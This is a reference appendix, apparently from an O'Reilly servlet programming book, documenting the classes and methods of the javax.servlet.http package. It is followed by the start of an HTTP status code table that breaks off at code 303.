The javax.servlet.http package allows development of servlets that support the HTTP protocol. While the core functionality in the javax.servlet package provides everything necessary for web development, the specialized classes in this package automate many otherwise tedious tasks. For example, the abstract HttpServlet class includes support for different HTTP request methods and headers. The HttpServletRequest and HttpServletResponse interfaces allow additional direct interaction with the web server, while HttpSession provides built-in session tracking functionality. The Cookie class allows you to quickly set up and process HTTP cookies, and the HttpUtils class does the same for query strings. Figure B-1 shows the class hierarchy of the javax.servlet.http package.

Figure B-1. The javax.servlet.http package

Cookie

Synopsis

 Class Name: javax.servlet.http.Cookie
Superclass: java.lang.Object
Immediate Subclasses: None
Interfaces Implemented: java.lang.Cloneable
Availability: New as of Servlet API 2.0; found in JSDK 2.0, JWS 1.1; an earlier version previously in sun.* hierarchy

Description

The Cookie class provides an easy way for servlets to read, create, and manipulate HTTP-style cookies, which allow servlets to store small amounts of data on the client. Cookies are generally used for session tracking or storing small amounts of user-specific configuration information. For more information, consult Chapter 7, "Session Tracking".

A servlet uses the getCookies() method of HttpServletRequest to retrieve cookies submitted as part of a client request. The addCookie() method of HttpServletResponse sends a new cookie to the browser. Because cookies are set using HTTP headers, addCookie() must be called before any output is sent to the client.

The original Servlet API 1.0 lacked this Cookie class, although the Java Web Server included a Sun-specific sun.servlet.util.Cookie class that worked in roughly the same manner. The only significant difference is that the retrieval and creation methods were static components of the Cookie class itself, rather than being part of the HttpServletRequest and HttpServletResponse interfaces.

Class Summaries

public class Cookie implements java.lang.Cloneable {
  // Constructors
  public Cookie(String name, String value);

 // Instance Methods
  public Object clone();
  public String getComment();
  public String getDomain();
  public int getMaxAge();
  public String getName();
  public String getPath();
  public boolean getSecure();
  public String getValue();
  public int getVersion();
  public void setComment(String purpose);
  public void setDomain(String pattern);
  public void setMaxAge(int expiry);
  public void setPath(String uri);
  public void setSecure(boolean flag);
  public void setValue(String newValue);
  public void setVersion(int v);
}

Constructors

Cookie()

public Cookie(String name, String value)
Description
Constructs a new cookie with an initial name and value. The rules for valid names and values are given in Netscape's Cookie Specification and RFC 2109.

Instance Methods

clone()

public Object clone()
Description
Overrides the standard clone() method to return a copy of this object (a duplicate cookie).

getComment()

public String getComment()
Description
Returns the comment associated with the cookie.

getDomain()

public String getDomain()
Description
Returns the domain limitation associated with this cookie.

getMaxAge()

public int getMaxAge()
Description
Returns the maximum age allowed for this cookie.

getPath()

public String getPath()
Description
Returns the path limitation for this servlet.

getSecure()

public boolean getSecure()
Description
Returns true if this cookie requires a secure connection, false otherwise.

getName()

public String getName()
Description
Returns the name of this cookie.

getValue()

public String getValue()
Description
Returns the value of this cookie, in string format.

getVersion()

public int getVersion()
Description
Returns the version of this cookie.

setComment()

public void setComment(String purpose)
Description
Sets the comment field of the cookie. A comment describes the intended purpose of a cookie. A web browser may choose to display this text to the user. Comments are not supported by Version 0 cookies.

setDomain()

public void setDomain(String pattern)
Description
Specifies a domain restriction pattern. A domain pattern specifies the servers that should see a cookie. By default, cookies are returned only to the host that saved them. Specifying a domain name pattern overrides this. The pattern must begin with a dot and must contain at least two dots. A pattern matches only one entry beyond the initial dot. For example, ".foo.com" is valid and matches www.foo.com and upload.foo.com but not www.upload.foo.com. For details on domain patterns, see Netscape's Cookie Specification and RFC 2109.

setMaxAge()

public void setMaxAge(int expiry)
Description
Specifies the maximum age of the cookie in seconds before it expires. A negative value indicates the default, that the cookie should expire when the browser exits. A zero value tells the browser to delete the cookie immediately.

setPath()

public void setPath(String uri)
Description
Specifies a path for the cookie, which is the subset of URIs to which a cookie should be sent. By default, cookies are sent to the page that set the cookie and to all the pages in that directory or under that directory. For example, if /servlet/CookieMonster sets a cookie, the default path is "/servlet". That path indicates the cookie should be sent to /servlet/Elmo and to /servlet/subdir/BigBird--but not to the /Oscar.html servlet alias or to any CGI programs under /cgi-bin. A path set to "/" causes a cookie to be sent to all the pages on a server. A cookie's path must be such that it includes the servlet that set the cookie.

setSecure()

public void setSecure(boolean flag)
Description
The secure flag indicates whether the cookie should be sent only over a secure channel, such as SSL. This value defaults to false.

setValue()

public void setValue(String newValue)
Description
Assigns a new value to a cookie. With Version 0 cookies, values should not contain the following: whitespace, brackets and parentheses, equals signs, commas, double quotes, slashes, question marks, at signs, colons, and semicolons. Empty values may not behave the same way on all browsers.

setVersion()

public void setVersion(int v)
Description
Servlets can send and receive cookies formatted to match either Netscape persistent cookies (Version 0) or the newer, somewhat experimental, RFC 2109 cookies (Version 1). Newly constructed cookies default to Version to maximize interoperability.
HttpServlet

Synopsis

 Class Name: javax.servlet.http.HttpServlet
Superclass: javax.servlet.GenericServlet
Immediate Subclasses: None
Interfaces Implemented: javax.servlet.Servlet, java.io.Serializable
Availability: Servlet API 1.0 and later

Description

 HttpServlet is an abstract class that serves as a framework for developing HTTP (World Wide Web) servlets. The public service() method dispatches requests to an HTTP-specific, protected service() method. You may either extend the HTTP-specific service() method (which is then used to handle all types of HTTP requests) or leave the default service method alone and allow it to dispatch requests to particular handler functions for each HTTP submission type: doGet(), doPost(), and so on. Because the default HTTP servlet implementation handles dispatching to these methods, if you override the protected service() method, you must either handle the dispatching manually or not use the handler functions for HTTP request methods.

Class Summary

public abstract class HttpServlet extends javax.servlet.GenericServlet
  implements javax.servlet.Servlet, java.io.Serializable {
  // Constructors
  public HttpServlet();

  // Public Instance Methods
  public void service(ServletRequest req, ServletResponse res)
    throws ServletException, IOException;

  // Protected Instance Methods
  protected void doDelete(HttpServletRequest req, HttpServletResponse res)
    throws ServletException, IOException;                   // New in 2.0
  protected void doGet(HttpServletRequest req, HttpServletResponse res)
    throws ServletException, IOException;
  protected void doOptions(HttpServletRequest req, HttpServletResponse res)
    throws ServletException, IOException;                   // New in 2.0
  protected void doPost(HttpServletRequest req,  HttpServletResponse res)
    throws ServletException, IOException;
  protected void doPut(HttpServletRequest req, HttpServletResponse res)
    throws ServletException, IOException;                   // New in 2.0
  protected void doTrace(HttpServletRequest req, HttpServletResponse res)
    throws ServletException, IOException;                   // New in 2.0
  protected long getLastModified(HttpServletRequest req);
  protected void service(HttpServletRequest req, HttpServletResponse res)
    throws ServletException, IOException;
}

Constructors

HttpServlet()

public HttpServlet()
Description
The default constructor does nothing. Because you cannot be sure of how and when classes will be loaded, it is not advisable to override this constructor to perform startup tasks. Use init() instead.

Public Instance Methods

service()

public void service(ServletRequest req, ServletResponse res)
  throws ServletException, IOException
Description
This service() method handles dispatching requests to the protected, HTTP-specific service() method and cannot be overridden without disabling dispatching to the do XXX() methods.

Protected Instance Methods

doDelete()

protected void doDelete(HttpServletRequest req, HttpServletResponse res)
  throws ServletException, IOException
Description
The default service() implementation in HttpServlet dispatches all HTTP DELETE requests to this method. Servlets implement this method to handle DELETE requests. The default implementation returns an HTTP BAD_REQUEST error. This method was introduced in the Servlet API 2.0.

doGet()

protected void doGet(HttpServletRequest req, HttpServletResponse res)
  throws ServletException, IOException
Description
The default service() implementation in HttpServlet dispatches all HTTP GET requests to this method. Servlets implement this method to handle GET requests. The default implementation returns an HTTP BAD_REQUEST error.

doPost()

protected void doPost(HttpServletRequest req, HttpServletResponse res)
  throws ServletException, IOException
Description
The default service() implementation in HttpServlet dispatches all HTTP POST requests to this method. Servlets implement this method to handle POST requests. The default implementation returns an HTTP BAD_REQUEST error.

doPut()

protected void doPut(HttpServletRequest req, HttpServletResponse res)
  throws ServletException, IOException
Description
The default service() implementation in HttpServlet dispatches all HTTP PUT requests to this method. Servlets implement this method to handle PUT requests. The default implementation returns an HTTP BAD_REQUEST error. See RFC 2068 at http://www.ietf.org/rfc/rfc2068.txt for more on HTTP PUT requests. This method was introduced in the Servlet API 2.0.

doOptions()

protected void doOptions(HttpServletRequest req, HttpServletResponse res)
  throws ServletException, IOException
Description
The default service() implementation in HttpServlet dispatches all HTTP OPTIONS requests to this method. The default implementation determines which options are supported and returns an appropriate header. For example, if a servlet overrides doGet() and doPost(), the browser is informed that GET, POST, HEAD, TRACE, and OPTIONS are supported. There is almost never any reason to override this method. This method was introduced in the Servlet API 2.0.

doTrace()

protected void doTrace(HttpServletRequest req, HttpServletResponse res)
  throws ServletException, IOException
Description
The default service() implementation in HttpServlet dispatches all HTTP TRACE requests to this method. The default implementation returns a message listing all of the headers sent in the TRACE request. There is almost never any reason to override this method. This method was introduced in the Servlet API 2.0.

getLastModified()

protected long getLastModified(HttpServletRequest req)
Description
Returns the date and time (expressed as milliseconds since midnight, January 1, 1970 GMT) that the content produced by the servlet was last modified. Negative values indicate that the time is not known. The default implementation returns -1. Called by servers in support of conditional HTTP GET requests. See Chapter 4, "Retrieving Information", for more information.

service()

protected void service(HttpServletRequest req, HttpServletResponse res)
  throws ServletException, IOException
Description
The public service() method dispatches requests to this service() method. This method handles dispatching requests to doGet(), doPost(), and the other handler functions based on the type of request. If this method is overridden, no handlers are called.
HttpServletRequest

Synopsis

 Interface Name: javax.servlet.http.HttpServletRequest
Superinterface: javax.servlet.ServletRequest
Immediate Subinterfaces: None
Implemented By: None
Availability: Servlet API 1.0 and later

Description

HttpServletRequest extends the basic ServletRequest class, providing additional functionality for HTTP (World Wide Web) servlets. It includes support for cookies and session tracking and access to HTTP header information. HttpServletRequest also parses incoming HTTP form data and stores it as servlet parameters.

The server passes an HttpServletRequest object to the service method of an HttpServlet.

Certain methods in this interface have suffered from documentation and implementation inconsistencies. Discrepancies have been noted where possible.

Interface Declaration

public interface HttpServletRequest extends javax.servlet.ServletRequest {
  // Methods
  public abstract String getAuthType();
  public abstract Cookie[] getCookies();                    // New in 2.0
  public abstract long getDateHeader(String name);
  public abstract String getHeader(String name);
  public abstract Enumeration getHeaderNames();
  public abstract int getIntHeader(String name);
  public abstract String getMethod();
  public abstract String getPathInfo();
  public abstract String getPathTranslated();
  public abstract String getQueryString();
  public abstract String getRemoteUser();
  public abstract String getRequestedSessionId();           // New in 2.0
  public abstract String getRequestURI();
  public abstract String getServletPath();
  public abstract HttpSession getSession(boolean create);   // New in 2.0
  public abstract boolean isRequestedSessionIdFromCookie(); // New in 2.0
  public abstract boolean isRequestedSessionIdFromUrl();    // New in 2.0
  public abstract boolean isRequestedSessionIdValid();      // New in 2.0
}

Methods

getAuthType()

public abstract String getAuthType()
Description
Returns the servlet's authentication scheme or null if the servlet was not protected by an access control mechanism. Possible schemes are "BASIC", "DIGEST", and "SSL". Same as the CGI variable AUTH_TYPE.

getCookies()

public abstract Cookie[] getCookies()
Description
Returns an array of Cookie objects that contains all the cookies sent by the browser as part of the request or null if no cookies were sent. This method was introduced in the Servlet API 2.0.

getDateHeader()

public abstract long getDateHeader(String name)
Description
Returns the value of the named header as a long value that represents a Date (the number of milliseconds since midnight, January 1, 1970, GMT) or -1 if the header was not sent as part of the request. The name is case insensitive. Throws an IllegalArgumentException when called on a header whose value cannot be converted to a Date. This method is useful for handling headers like Last-Modified and If-Modified-Since.

getHeader()

public abstract String getHeader(String name)
Description
Returns the value of the named header as a String or null if the header was not sent as part of the request. The name is case insensitive. This method can retrieve all header types.

getHeaderNames()

public abstract Enumeration getHeaderNames()
Description
Returns the names of all the headers a servlet can access as an Enumeration of Strings or an empty Enumeration if there were no headers. Some servlet implementations may not allow headers to be accessed in this way, in which case this method returns null.

getIntHeader()

public abstract int getIntHeader(String name)
Description
Returns the value of the named header as an int or -1 if the header was not sent as part of the request. The name is case insensitive. Throws a NumberFormatException when called on a header with a value that cannot be converted to an int.

getMethod()

public abstract String getMethod()
Description
Returns the HTTP method used to make the request. Example methods include "GET", "POST", and "HEAD". The same as the CGI variable REQUEST_METHOD. The HttpServlet implementation of service() uses this method when dispatching requests.

getPathInfo()

public abstract String getPathInfo()
Description
Returns the extra path information associated with the request or null if none was provided. The same as the CGI variable PATH_INFO.

getPathTranslated()

public abstract String getPathTranslated()
Description
Returns the extra path information translated to a file system path or null if there was no extra path information. The path returned does not necessarily point to an existing file or directory. The same as the CGI variable PATH_TRANSLATED. This method has been known to not function properly in some servlet runners.

getQueryString()

public abstract String getQueryString()
Description
Returns the query string from the request's URL. This value is the same as the CGI variable QUERY_STRING. Because HttpServletRequest parses this string into a set of servlet parameters available through getParameter(), most servlets can ignore this method.

getRemoteUser()

public abstract String getRemoteUser()
Description
Returns the name of the user making the request as a String or null if access to the servlet was not restricted. The same as the CGI variable REMOTE_USER. This generally requires that the user has logged in using HTTP authentication. There is no comparable method to directly retrieve the remote user's password.

getRequestedSessionId()

public abstract String getRequestedSessionId()
Description
This method returns the session ID specified by the client. This may not be the actual session identifier currently in use--for example, if the session expired before the request occurred, the server creates a new session ID and uses that one instead. This method was introduced in the Servlet API 2.0.

getRequestURI()

public abstract String getRequestURI()
Description
Returns the Universal Resource Identifier (URI) of the request. This is the resource requested by the client in the first line of its HTTP request, with the query string removed. For normal HTTP servlets, the request URI is the request URL minus the scheme, host, port, and query string but including extra path information. Early versions of the Servlet API defined and implemented this method in different ways. When writing code that depends on this method, make sure you know what you're actually getting.

getServletPath()

public abstract String getServletPath()
Description
Returns the part of the URI that refers to the servlet. It does not include any extra path information or the query string. This is the same as the CGI variable SCRIPT_NAME.

getSession()

public abstract HttpSession getSession(boolean create)
Description
Returns the current session associated with the user making the request. If the user has no current valid session, this method creates one if create is true or returns null if create is false. To ensure the session is properly maintained, this method should be called at least once before any output is written to the response. Servlets not using session tracking may ignore this method. This method was introduced in the Servlet API 2.0.

isRequestedSessionIdFromCookie()

public abstract boolean isRequestedSessionIdFromCookie()
Description
Returns true if the client submitted a session identifier via a cookie, false otherwise. This method was introduced in the Servlet API 2.0.

isRequestedSessionIdFromUrl()

public abstract boolean isRequestedSessionIdFromUrl()
Description
Returns true if the requested session ID was submitted via a rewritten URL, false otherwise. This method was introduced in the Servlet API 2.0.

isRequestedSessionIdValid()

public abstract boolean isRequestedSessionIdValid()
Description
Returns true if the session requested by the client is a valid session and is therefore the session currently in use. For new sessions and expired sessions, it returns false. This method was introduced in the Servlet API 2.0.
HttpServletResponse

Synopsis

 Interface Name: javax.servlet.http.HttpServletResponse
Superinterface: javax.servlet.ServletResponse
Immediate Subinterfaces: None
Implemented By: None
Availability: Servlet API 1.0 and later

Description

HttpServletResponse extends the ServletResponse class to allow manipulation of HTTP protocol-specific data, including response headers and status codes. It also defines a series of constants that represent various HTTP status codes and includes helper functions for session tracking operations.

Interface Declaration

public interface HttpServletResponse extends javax.servlet.ServletResponse {
  // Constants
  public static final int SC_ACCEPTED;
  public static final int SC_BAD_GATEWAY;
  public static final int SC_BAD_REQUEST;
  public static final int SC_CONFLICT;
  public static final int SC_CREATED;
  public static final int SC_CONTINUE;                      // New in 2.0
  public static final int SC_FORBIDDEN;
  public static final int SC_GATEWAY_TIMEOUT;               // New in 2.0
  public static final int SC_GONE;                          // New in 2.0
  public static final int SC_HTTP_VERSION_NOT_SUPPORTED;    // New in 2.0
  public static final int SC_INTERNAL_SERVER_ERROR;
  public static final int SC_LENGTH_REQUIRED;               // New in 2.0
  public static final int SC_METHOD_NOT_ALLOWED;            // New in 2.0
  public static final int SC_MOVED_PERMANENTLY;
  public static final int SC_MOVED_TEMPORARILY;
  public static final int SC_MULTIPLE_CHOICES;              // New in 2.0
  public static final int SC_NO_CONTENT;
  public static final int SC_NON_AUTHORITATIVE_INFORMATION; // New in 2.0
  public static final int SC_NOT_ACCEPTABLE;                // New in 2.0
  public static final int SC_NOT_FOUND;
  public static final int SC_NOT_IMPLEMENTED;
  public static final int SC_NOT_MODIFIED;
  public static final int SC_OK;
  public static final int SC_PARTIAL_CONTENT;               // New in 2.0
  public static final int SC_PAYMENT_REQUIRED;              // New in 2.0
  public static final int SC_PRECONDITION_FAILED;           // New in 2.0
  public static final int SC_PROXY_AUTHENTICATION_REQUIRED; // New in 2.0
  public static final int SC_REQUEST_ENTITY_TOO_LARGE;      // New in 2.0
  public static final int SC_REQUEST_TIMEOUT;               // New in 2.0
  public static final int SC_REQUEST_URI_TOO_LONG;          // New in 2.0
  public static final int SC_RESET_CONTENT;                 // New in 2.0
  public static final int SC_SEE_OTHER;                     // New in 2.0
  public static final int SC_SERVICE_UNAVAILABLE;
  public static final int SC_SWITCHING_PROTOCOLS;           // New in 2.0
  public static final int SC_UNAUTHORIZED;
  public static final int SC_UNSUPPORTED_MEDIA_TYPE;        // New in 2.0
  public static final int SC_USE_PROXY;                     // New in 2.0

  // Methods
  public abstract void addCookie(Cookie cookie);            // New in 2.0
  public abstract boolean containsHeader(String name);
  public abstract String encodeRedirectUrl(String url);     // New in 2.0
  public abstract String encodeUrl(String url);             // New in 2.0
  public abstract void sendError(int sc) throws IOException;
  public abstract void sendError(int sc, String msg) throws IOException;
  public abstract void sendRedirect(String location) throws IOException;
  public abstract void setDateHeader(String name, long date);
  public abstract void setHeader(String name, String value);
  public abstract void setIntHeader(String name, int value);
  public abstract void setStatus(int sc);
  public abstract void setStatus(int sc, String sm);
}

Constants:

 Appendix C, "HTTP Status Codes", contains complete descriptions of all the SC_XXX status codes.

Methods

addCookie()

public abstract void addCookie(Cookie cookie)
Description
Adds the specified cookie to the response. Additional cookies can be added with repeated calls to addCookie(). Because cookies are sent using HTTP headers, they should be added to the response before sending any content. Browsers are required to accept only 20 cookies per site, 300 total per user, and they can limit each cookie's size to 4096 bytes.

containsHeader()

public abstract boolean containsHeader(String name)
Description
Returns true if the named header has already been set, false if not.

encodeRedirectUrl()

public abstract String encodeRedirectUrl(String url)
Description
Returns the specified URL encoded (rewritten) to include the session ID. If encoding is not needed or not supported, the method leaves the URL unchanged. The rules used to decide when and how to encode a URL are server-specific. This method may use different rules than encodeUrl(). To enable session tracking, all URLs passed to the sendRedirect() method should be run through this method. Note that this method employs a different capitalization scheme than getRequestURL() and getRequestURI().

encodeUrl()

public abstract String encodeUrl(String url)
Description
Returns the specified URL encoded (rewritten) to include the session ID. If encoding is not needed or not supported, the method leaves the URL unchanged. The rules used to decide when and how to encode a URL are server-specific. To enable session tracking, all URLs emitted by a servlet should be run through this method. Note that this method employs a different capitalization scheme than getRequestURL() and getRequestURI().

sendError()

public abstract void sendError(int sc) throws IOException
public abstract void sendError(int sc, String msg) throws IOException
Description
These methods are similar to setStatus(), except that they are used when the status code indicates an error during the handling of the request. A server may give these methods different treatment than setStatus(). This method should be called before sending any content.

sendRedirect()

public abstract void sendRedirect(String location) throws IOException
Description
Redirects the response to the specified location, automatically setting the status code and Location header. The location must be an absolute URL, (including "http://"). The default implementaion also writes a short response body that contains a hyperlink to the location, to support browers without redirect capabilities. Consequently, do not write your own response body when using this method.

setDateHeader()

public abstract void setDateHeader(String name, long date)
Description
Sets the value of the named header as a String specifying a particular date and time. The method accepts the date value as a long that represents the number of milliseconds since midnight, January 1, 1970, GMT. If the header has already been set, the new value overwrites the previous one.

setHeader()

public abstract void setHeader(String name, String value)
Description
Sets the value of the named header as a String. The name is case insensitive (as with all header-related methods). If the header has already been set, the new value overwrites the previous one. This method can set any header type. Headers should always be set before sending any content.

setIntHeader()

public abstract void setIntHeader(String name, int value)
Description
Sets the value of the named header as an int. If the header has already been set, the new value overwrites the previous one.

setStatus()

public abstract void setStatus(int sc)
public abstract void setStatus(int sc, String sm)
Description
Sets the HTTP status code. The code can be specified using a numeric value or by using the SC_XXX codes defined within HttpServletResponse. You can optionally specify a custom error message; otherwise, the server uses the default message for that code, if any. The status should be set before sending any content.
HttpSession

Synopsis

 Interface Name: javax.servlet.http.HttpSession
Superinterface: None
Immediate Subinterfaces: None
Implemented By: None
Availability: New as of the Servlet API 2.0; found in JSDK 2.0, JWS 1.1

Description

The HttpSession interface provides a mechanism for identifying return visitors to a web site. For a detailed introduction to session tracking, see Chapter 7, "Session Tracking". The HttpSession interface itself allows servlets to view and manipulate session-specific information, such as creation time and the unique session identifier. It also includes methods to bind objects to the session for later retrieval, allowing "shopping cart" and other applications to hold onto data

A servlet obtains an HttpSession object from the getSession() method of HttpServletRequest. Specific session behavior, such as the amount of idle time before a session is destroyed, depends on the server.

While any object can be bound to a session, lots of high-traffic servlets binding large objects to their sessions will impose a heavy resource burden on the server. With most implementations, this can be alleviated by binding only objects that implement the java.io.Serializable interface (this includes all of the data type objects in the core Java API). Some servers have the ability to write Serializable objects to disk to save memory. Unserializable objects, such as java.sql.Connection, must be retained in memory.

Interface Declaration

public interface HttpSession {
  // Methods
  public abstract long getCreationTime();
  public abstract String getId();
  public abstract long getLastAccessedTime();
  public abstract HttpSessionContext getSessionContext();
  public abstract Object getValue(String name);
  public abstract String[] getValueNames();
  public abstract void invalidate();
  public abstract boolean isNew();
  public abstract void putValue(String name, Object value);
  public abstract void removeValue(String name);
}

Methods

getCreationTime()

public abstract long getCreationTime()
Description
Returns the time at which the session was created, as a long representing the number of milliseconds since midnight, January 1, 1970, GMT. Throws an IllegalStateException if the session is invalid.

getId()

public abstract String getId()
Description
Returns the unique String identifier assigned to this session. The structure of the ID is implementation dependent. For example, a Java Web Server ID might be something like HT04D1QAAAAABQDGPM5QAAA. Throws an IllegalStateException if the session is invalid.

getLastAccessTime()

public abstract long getLastAccessedTime()
Description
Returns the time at which the client last sent a request associated with this session, as a long representing the number of milliseconds since midnight, January 1, 1970, GMT. Throws an IllegalStateException if the session is invalid.

getSessionContext()

public abstract HttpSessionContext getSessionContext()
Description
Returns the context in which the session is bound. See HttpSessionContext for more information. Throws an IllegalStateException if the session is invalid.

getValue()

public abstract Object getValue(String name)
Description
Returns the object bound in the session under the specified name or null if there is no matching binding. Throws an IllegalStateException if the session is invalid.

getValueNames()

public abstract String[] getValueNames()
Description
Returns an array containing the names of all objects bound to this session or an empty (zero length) array if there are no bindings. Throws an IllegalStateException if the session is invalid. Note that unlike most similar methods (getParameterNames(), getInitParameterNames(), getServletNames(), etc.), this method does not return an Enumeration. (No, we don't know why either.)

invalidate()

public abstract void invalidate()
Description
Causes the session to be immediately invalidated. All objects stored in the session are unbound. Throws an IllegalStateException if the session is already invalid.

isNew()

public abstract boolean isNew()
Description
Returns whether the session is new. A session is considered new if it has been created by the server but the client has not yet acknowledged joining the session. For example, if a server supports only cookie-based sessions and a client has completely disabled the use of cookies, calls to getSession() always return new sessions. Throws an IllegalStateException if the session is invalid.

putValue()

public abstract void putValue(String name, Object value)
Description
Binds the specified object value under the specified name in the session. Any existing binding with the same name is replaced. Throws an IllegalStateException if the session is invalid.

removeValue()

public abstract void removeValue(String name)
Description
Removes the object bound to the specified name or does nothing if there is no binding. Throws an IllegalStateException if the session is invalid.
HttpSessionBindingEvent

Synopsis

 Class Name: javax.servlet.http.HttpSessionBindingEvent
Superclass: java.util.EventObject
Immediate Subclasses: None
Interfaces Implemented: None
Availability: New as of the Servlet API 2.0; found in JSDK 2.0, JWS 1.1

Description

An HttpSessionBindingEvent is passed to an HttpSessionBindingListener when the listener object is bound to or unbound from a session.

Class Summary

public class HttpSessionBindingEvent extends java.util.EventObject {
  // Constructors
  public HttpSessionBindingEvent(HttpSession session, String name);

  // Instance Methods
  public String getName();
  public HttpSession getSession();
}

Constructors

HttpSessionBindingEvent()

public HttpSessionBindingEvent(HttpSession session, String name)
Description
Constructs a new HttpSessionBindingEvent using the session being bound and the name that this object is being assigned (this is the same name passed to the putValue() method of HttpSession). Servlet programmers should never need to use this constructor.

Instance Methods

getName()

public String getName()
Description
Returns the name this object has been assigned within the session.

getSession()

public HttpSession getSession()
Description
Returns the session this object is being bound to or unbound from.
HttpSessionBindingListener

Synopsis

 Interface Name: javax.servlet.http.HttpSessionBindingListener
Superinterface: java.util.EventListener
Immediate Subinterfaces: None
Implemented By: None
Availability: New as of the Servlet API 2.0; found in JSDK 2.0, JWS 1.1

Description

An object that implements HttpSessionBindingListener is notified via calls to valueBound() and valueUnbound() when it is bound to or unbound from an HttpSession. Among other things, this interface allows orderly cleanup session-specific resources, such as database connections.

Interface Declaration

public interface HttpSessionBindingListener extends java.util.EventListener {
  // Methods
  public abstract void valueBound(HttpSessionBindingEvent event);
  public abstract void valueUnbound(HttpSessionBindingEvent event);
}

Methods

valueBound()

public abstract void valueBound(HttpSessionBindingEvent event)
Description
Called when the listener is bound to a session.

valueUnbound()

public abstract void valueUnbound(HttpSessionBindingEvent event)
Description
Called when the listener is unbound from a session (including at session destruction).
HttpSessionContext

Synopsis

 Interface Name:javax.servlet.http.HttpSessionContext
Superinterface: None
Immediate Subinterfaces: None
Implemented By: None
Availability: New as of the Servlet API 2.0; found in JSDK 2.0, JWS 1.1

Description

HttpSessionContext provides access to all of the currently active sessions on the server. This can be useful for servlets that weed out inactive sessions, display statistics, or otherwise share information. A servlet obtains an HttpSessionContext object from the getSessionContext() method of HttpSession.

Interface Declaration

public interface HttpSessionContext {
  // Methods
  public abstract Enumeration getIds();
  public abstract HttpSession getSession(String sessionId);
}

Methods

getIds()

public abstract Enumeration getIds()
Description
Returns an Enumeration that contains the session IDs for all the currently valid sessions in this context. It returns an empty Enumeration if there are no valid sessions. The session IDs returned by getIds() should be held as a server secret because any client with knowledge of another client's session ID can, with a forged cookie or URL, join the second client's session.

getSession()

public abstract HttpSession getSession(String sessionId)
Description
Returns the session associated with the given session identifier. A list of valid session IDs can be obtained from the getIds() method.
HttpUtils

Synopsis

 Class Name: javax.servlet.http.HttpUtils
Superclass: java.lang.Object
Immediate Subclasses: None
Interfaces Implemented: None
Availability: Servlet API 1.0 and later

Description

A container object for a handful of potentially useful HTTP-oriented methods.

Class Summary

public class HttpUtils {
  // Constructors
  public HttpUtils();

  // Class Methods
  public static StringBuffer getRequestURL(HttpServletRequest req);
  public static Hashtable parsePostData(int len, ServletInputStream in);
  public static Hashtable parseQueryString(String s);
}

Constructors

HttpUtils()

public HttpUtils()
Description
The default constructor does nothing.

getRequestURL()

public static StringBuffer getRequestURL(HttpServletRequest req)
Description
Reconstitutes the request URL based on information available in the HttpServletRequest object. Returns a StringBuffer that includes the scheme, server name, server port, and extra path information. The reconstituted URL should look almost identical to the URL used by the client. This method can be used for error reporting, redirecting, and URL creation. For applications that need to uniquely identify particular servlets, the getRequestURI() method of HttpServletRequest is generally a better choice.

parsePostData()

public static Hashtable parsePostData(int len, ServletInputStream in)
Description
Parses len characters of parameter data from a ServletInputStream (usually sent as part of a POST operation). Throws an IllegalArgumentException if the parameter data is invalid. Most servlets use getParameterNames(), getParameter(), and getParameterValues() instead of this method.

parseQueryString()

public static Hashtable parseQueryString(String s)
Description
Returns a Hashtable where the hashtable keys are the parameter names taken from the query string and each hashtable value is a String array that contains the parameter's decoded value(s). Throws an IllegalArgumentException if the query string is invalid. Most servlets use getParameterNames(), get-Parameter(), and getParameterValues() instead. It is not safe to use both.
Previous | Home | Next
Appendix A. Servlet API Quick Reference | Book Index | C. HTTP Status Codes
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


HTTP Status Codes (Java Servlet Programming)

 Java Servlet Programming Search this book

Appendix C. HTTP Status Codes

HTTP status codes are grouped as shown in Table C-1.

Table C-1. HTTP Status Code Groupings

Code Range | Response Meaning
100-199 | Informational
200-299 | Client request successful
300-399 | Client request redirected, further action necessary
400-499 | Client request incomplete
500-599 | Server error

Table C-2 lists the HTTP status code constants defined by the HttpServletResponse interface and used as parameters to its setStatus() and sendError() methods. The version number in the last column refers to the HTTP protocol version that first defined the status code. The Servlet API 2.0 added constants for HTTP Version 1.1 status codes. Note that HTTP 1.1 status codes require an HTTP 1.1-compliant browser.

For more information on HTTP, see Web Client Programming by Clinton Wong (O'Reilly). The proposed HTTP/1.1 specification is available in RFC 2068 at http://www.ietf.org/rfc/rfc2068.txt.

Table C-2. HTTP Status Code Constants

Constant | Code | Default Message | Meaning | HTTP Version
SC_CONTINUE | 100 | Continue | The server has received the initial part of the request, and the client can continue with the remainder of its request. | 1.1
SC_SWITCHING_PROTOCOLS | 101 | Switching Protocols | The server is willing to comply with the client's request to switch protocols to the one specified in the request's Upgrade header. This might include switching to a newer HTTP version. | 1.1
SC_OK | 200 | OK | The client's request was successful and the server's response contains the requested data. This is the default status code. | 1.0
SC_CREATED | 201 | Created | A resource has been created on the server, presumably in response to a client request. The response body should include the URL(s) where the new resource can be found, with the most specific URL set in the Location header. If the resource cannot be created immediately, an SC_ACCEPTED status code should be returned instead. | 1.0
SC_ACCEPTED | 202 | Accepted | The request has been accepted for processing but has not yet completed. The server should describe the current status of the request in the response body. The server is under no obligation to act on or complete the request. | 1.0
SC_NON_AUTHORITATIVE_INFORMATION | 203 | Non-Authoritative Information | The HTTP response headers came from a local or third-party source, rather than the original server. Normal servlets have no reason to use this status code. | 1.1
SC_NO_CONTENT | 204 | No Content | The request succeeded but there was no new response body to return. Browsers receiving this code should retain their current document view. This is a useful code for a servlet to use when it accepts data from a form but wants the browser view to stay at the form, as it avoids the "Document contains no data" error message. | 1.0
SC_RESET_CONTENT | 205 | Reset Content | The request succeeded and the browser should reset (reload) the current document view. This is a useful code for a servlet to use when it accepts data from a form and wants the form redisplayed in a fresh state. | 1.1
SC_PARTIAL_CONTENT | 206 | Partial Content | The server has completed a partial GET request and returned the portion of the document specified in the client's Range header. | 1.1
SC_MULTIPLE_CHOICES | 300 | Multiple Choices | The requested URL refers to more than one resource. For example, the URL may refer to a document translated into many languages. The response body should explain the client's options in a format appropriate for the response content type. The server can suggest a choice with the Location header. | 1.1
SC_MOVED_PERMANENTLY | 301 | Moved Permanently | The requested resource has permanently moved to a new location and future references should use the new URL in their requests. The new location is given by the Location header. Most browsers automatically access the new location. | 1.0
SC_MOVED_TEMPORARILY | 302 | Moved Temporarily | The requested resource has temporarily moved to another location, but future references should still use the original URL to access the resource. The new location is given by the Location header. Most browsers automatically access the new location. | 1.0
SC_SEE_OTHER | 303 | See Other | The requested resource processed the request but the client should get its response by performing a GET on the URL specified in the Location header. This code is useful for a servlet that wants to receive POST data then redirect the client to another resource for the response. | 1.1
